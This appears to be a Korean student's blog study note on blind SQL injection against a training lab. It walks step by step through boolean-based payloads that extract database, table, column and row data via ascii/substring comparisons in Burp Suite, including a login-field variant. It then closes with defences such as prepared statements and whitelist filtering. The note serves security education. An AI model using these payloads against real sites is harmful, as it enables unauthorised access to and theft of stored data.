본문 바로가기

해킹/Web Hacking

[5주차] 스터디 정리 - Blind SQL Injection, 대응 방안

Blind SQL Injection

->DB 결과가 화면에 안 나오는 곳

-> Error based

-> SQL Injection이 가능한 모든 곳에서 사용이 가능하다

 

: SQL 참과 거짓의 조건으로 데이터를 추출하는 기법

 

보통 Burp Suite 리피터로 옮겨서 작업함

 

**일어나는 곳.

> 참과 거짓 조건에 따라 응답이 다른 곳!

> 어떻게든 다르면 됨.

 

overwatch%' and '1%'='1

 

title like '%_____%'

 

일부러 overwatch%' and '1%'='2 를 넣어서 일부러 거짓을 유도한다.

 

그 후, Burp Suite의 Comparer 를 이용해 response를 전체 선택해서

참일 때와 거짓일 때 어떤 부분이 미묘하게 다른지를 볼 수 있다.

sync with를 누르면 같이 스크롤 움직임

response의 하단 톱니바퀴에 auto scroll ~ 을 누르면 해당 단어가 나올 때 자동으로

스크롤을 옮겨줌 > 비교가 용이

 

//

ex ) 에러페이지

-> custom error page 로 리다이렉트됨

 

ex ) 데이터 정렬 순서가 달라지는 경우

//

 

overwatch%' and (1=1)  and  '1%'='1         : 참

 

overwatch%' and (1=2)  and  '1%'='1         : 거짓

 

>> 데이터를 어떻게 추출해..?

참과 거짓이 다른것 만으로..?

 

(select ~~~~)

결과의 첫글자가 a 맞아?

                            b 맞아?

                            i 맞아?

 

결과의 두번째 글자가 g 맞아?

 

적어도 100번 이상의 질문을 해야함.

 

처럼 한땀 한땀 알아내는 것이 Blind SQL Injection 이다.

 

------------------------------------------------------------------------------

** Blind SQL Injection 을 효율적으로 사용하기 위한 트릭

 

* 필요 지식 문법

(1) limit

limit 0, 1

limit 0, 2

limit 0, 3

limit 1, 1

 

(2) substring

글자를 자르는 문법

substring ('test', 1,1)

 

하면 t가 출력됨

 

substring((SQL), 1,1) : SQL 질의문 결과의 첫 번째

substring((SQL), 2,1)

 

(3) ASCII

 

36

문자를 정해진 숫자로 바꿔주는 규칙

 

(4) 2진 탐색 알고리즘

-> 1 ~~~ 100 : 100 번

 

: 50 커?

: 75 커?

 

Step 1. 

over%' and '1%'='1

 

Step 2. Blind SQLi

참/ 거짓

 

and 하나 더 파기

 

overwatch%' and (1=2) and '1%'='1

 

Step 3. (select ~ )

글자 테스트

overwatch%' and ('test'='test') and '1%'='1

 

overwatch%' and (  (   ) ='test') and '1%'='1

 

overwatch%' and (  ( select 'test' ) ='test') and '1%'='1 를 넣어서 select 문을 쓸 수 있는지 확인

 

Step 4. 공격 포맷 만들기

overwatch%' and ( 조건 ) and '1%'='1

 

ascii() 를 이용해 ascii 가 동작하는지 확인

ascii 는 모든 결과가 0보다 큼 최소값이 33

ascii('t') > 0

t 라는 알파벳을 ascii 코드로 바꾼다는 뜻 결과값은 116

 

overwatch%' and ( ascii(' t ') > 0 ) and '1%'='1

 

substring (' test ' , 1, 1 )

 

overwatch%' and ( ascii( substring (' test ' , 1, 1 ) ) > 0 ) and '1%'='1

되는지 확인

 

overwatch%' and ( ascii( substring ( select 'test' , 1, 1 ) ) > 0 ) and '1%'='1

 

overwatch%' and ( ascii( substring ( ( SQL ) , 1, 1 )) > 0 ) and '1%'='1

 

이제 원하는 SQL 질의문을 저 괄호안에 넣어가며 Blind SQL 질의문을 사용할 수 있음

 

Step 5. DB 이름 추출

 

<공격 FORM>

overwatch%' and ( ascii( substring ( ( SQL ) , 1, 1 )) > 0 ) and '1%'='1

 

select database() 을 SQL 질의문으로 넣기

 

overwatch%' and ( ascii( substring ( ( select database() ) , 1, 1 )) > 0 ) and '1%'='1

 

이걸 버프스위트의 REPEATER로 넣어가며

 

overwatch%' and ( ascii( substring ( ( select database() ) , 1, 1 )) > 110 ) and '1%'='1

overwatch%' and ( ascii( substring ( ( select database() ) , 1, 1 )) > 120 ) and '1%'='1

 

처럼 스무고개 하듯이 업 다운 게임을 진행한다.

첫번째 글자를 맞췄다면

 

그 다음은,

overwatch%' and ( ascii( substring ( ( select database() ) , 2, 1 )) >  115 ) and '1%'='1

로 두 번째 글자를 맞추면 된다.

 

Step 6. Table 이름

 

limit 을 반드시 걸어줘야 함

왜냐면 결과가 행으로 나오기 때문에

select table_name from information_schema.tables

where table_schema ='segfault_sql' limit 0,1

 

overwatch%' and ( ascii( substring ( ( select table_name from information_schema.tables

where table_schema ='segfault_sql' limit 0,1 ) , 1, 1 )) > 110 ) and '1%'='1

를 해가며 table 이름 한 글자 씩 맞춰감

 

주의할 건, SQL 질의문 안에 있는 limit 0, 1 을 건드리는 것이 아니라

그 바깥의 1,1 을 건드려야 한다.

 

Step 7. Column 이름 가져오기

 

select column_name from

information_schema.columns where

table_name='member'

 

overwatch%' and ( ascii( substring ( ( select column_name from

information_schema.columns where table_name='member'

) , 1, 1 )) > 120 ) and '1%'='1

 

 

Step 8. Data 추출

select ~~~ from ~~~ limit 0 , 1

 

 

로그인 횟수 제한있다?

-> 할 수 있다.

-> SQL 문 전체를 아이디로 보기 때문에

 

ID : normaltic' and (조건) and '1'='1

PASS : 

 

만약 집 공유기가 이렇게 되어있다면 SQL Injection 이 안먹힐 가능성이 있음

 

 

SQL 대응 방안

 

필터링 : 소극적인 방법

              최후의 수단으로 두는 게 좋음

SQL Injection 취약점은 왜 일어날까?

SQL 질의문

-> 사용자의 입력이 그대로 들어가기 때문에.

 

1. PreparedStatement

 

sql = "select ~~~~ " . $_GET['name'] . ""

이런 틀이기 때문에 문제가 발생하는 것

 

> SQL 문이 조작됐는지 검증하는 방법?

 

sql = " select ~~~~ ?   ? "

이렇게 ? 를 뚫어둔 다음

컴파일해서 미리 준비해둠

 

그럼 sql 문이 일그러지지 않고 그 자체로 존재할 수 있음

> ' -> 문자 작은따옴표 그대로 인식됨

따라서 PreparedStatement 를 쓰면 SQL Injection이 불가능함

거기다 미리 컴파일 해뒀기 때문에 속도도 빨라짐

 

왜 그럼 SQL Injection이 아직까지 일어날까?

 

1. preparedstatement 잘못 쓴 경우

sql = "select".  . ""

 

2. 옛날에 만든 코드나 라이브러리

-> 겉에다가 필터링 : 그럼 해커가 우회함

 

3. preparedStatement 적용 안되는 곳이있음

> order by 정렬

> table 이름

> column 이름

 

select * from board

where id ~~~

order by $_GET['title']

이곳은 preparedStatement 처리가 안됨

 

 

-> 이런 곳은 whiteList 기반 필터링을 해야함